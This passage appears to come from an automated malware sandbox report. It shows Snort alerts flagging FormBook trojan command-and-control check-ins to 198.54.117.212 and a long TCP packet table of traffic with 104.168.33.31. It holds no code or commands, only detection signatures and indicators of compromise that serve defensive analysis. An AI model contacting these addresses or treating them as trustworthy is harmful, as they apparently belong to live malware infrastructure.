File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.22198.54.117.21249175802031412 05/14/22-15:20:54.628198	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49175	80	192.168.2.22	198.54.117.212
192.168.2.22198.54.117.21249175802031453 05/14/22-15:20:54.628198	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49175	80	192.168.2.22	198.54.117.212
192.168.2.22198.54.117.21249175802031449 05/14/22-15:20:54.628198	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49175	80	192.168.2.22	198.54.117.212

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2022 15:19:31.412448883 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.526196957 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.526408911 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.529700994 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.645406961 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645431042 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645451069 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645468950 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645490885 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645509005 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645526886 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645544052 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645562887 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645581961 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.645762920 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.691004992 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759368896 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759432077 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759473085 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759514093 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759553909 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759602070 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759602070 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759644032 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759649038 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759686947 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759687901 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759691954 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759723902 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759732008 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759738922 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759773016 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759790897 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759814024 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759816885 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759855986 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759860992 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759896040 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759898901 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759937048 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.759938002 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.759978056 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.766613007 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873425007 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873451948 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873512030 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873588085 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873610973 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873621941 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873632908 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873634100 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873650074 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873656034 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873668909 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873677969 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873693943 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873702049 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873716116 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873723984 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873735905 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873745918 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873765945 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873766899 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873786926 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873792887 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873807907 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873815060 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873836040 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873836994 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873852015 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873858929 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873868942 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873883009 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873900890 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873903036 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873918056 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873924971 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873934031 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873958111 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873965979 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.873986006 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.873999119 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874008894 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874015093 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874032021 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874047041 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874053955 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874068022 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874075890 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874085903 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874097109 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874116898 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874119043 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874135971 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874150038 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874152899 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874175072 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.874188900 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.874207973 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.880806923 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987591982 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987647057 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987684965 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987687111 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987716913 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987721920 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987725973 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987767935 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987799883 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987806082 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987813950 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987852097 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987853050 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987894058 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987894058 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987932920 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.987935066 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987976074 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.987978935 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988013983 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988014936 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988054037 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988054991 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988095045 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988095045 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988133907 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988136053 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988173008 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988173008 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988214016 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988241911 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988284111 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988286018 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988327980 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988331079 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988370895 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988372087 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988410950 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988410950 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988449097 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988451004 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988508940 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988518953 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988560915 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988562107 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988605976 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988619089 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988645077 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988646984 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988687992 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988708019 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988725901 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988753080 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988760948 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.988766909 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.988806009 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.991838932 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994167089 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994213104 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994254112 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994281054 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994296074 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994312048 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994317055 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994335890 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994339943 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994378090 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994380951 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994419098 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994422913 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994463921 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994463921 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994503975 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994503975 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994541883 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994544983 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994585037 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994589090 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994625092 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994628906 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994668961 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994672060 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994713068 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994713068 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994752884 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994756937 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994797945 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994798899 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994837046 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994837999 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994878054 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994879007 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994920969 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994920969 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.994961977 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:31.994961977 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.995003939 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:31.998342037 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102241993 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102273941 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102289915 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102307081 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102318048 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102323055 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102341890 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102345943 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102349997 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102359056 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102359056 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102374077 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102376938 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.102390051 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.102411032 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105182886 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105207920 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105225086 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105242014 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105246067 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105252981 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105269909 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105287075 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105300903 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105304003 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105307102 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105309963 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105313063 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105319977 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105324030 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105333090 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105341911 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105353117 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105365992 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105371952 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105392933 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105401993 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105410099 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105421066 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105426073 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105432987 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105443954 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105454922 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105460882 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105467081 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105479002 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105488062 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105495930 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105499029 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105513096 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105524063 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105530024 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.105535984 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.105557919 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.106884956 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111634016 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111661911 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111679077 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111695051 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111711979 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111726046 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111737967 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111749887 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111754894 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111802101 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111820936 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111821890 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111835003 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111843109 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111860991 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111869097 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111879110 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111881971 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111893892 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111897945 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111912966 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111916065 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111933947 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111938000 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111948013 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111953020 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111963034 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111970901 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111984015 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.111988068 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.111996889 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.112008095 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.112020016 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.112040043 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.113650084 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.215792894 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.215852976 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.215889931 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.215898991 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.215926886 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.215926886 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.215936899 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.215962887 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.215964079 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216000080 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216002941 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216038942 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216041088 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216073036 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216075897 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216109991 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216111898 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216150045 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216150999 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216183901 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216187000 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216221094 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216223955 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216258049 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216262102 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216296911 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216300011 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216334105 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216336012 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216370106 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.216372967 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.216407061 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218668938 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218710899 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218745947 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218749046 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218770981 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218785048 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218789101 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218822002 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218823910 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218859911 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218863964 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218895912 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218900919 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218931913 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218939066 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.218967915 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.218976974 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219006062 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219012022 CEST	49173	80	192.168.2.22	104.168.33.31
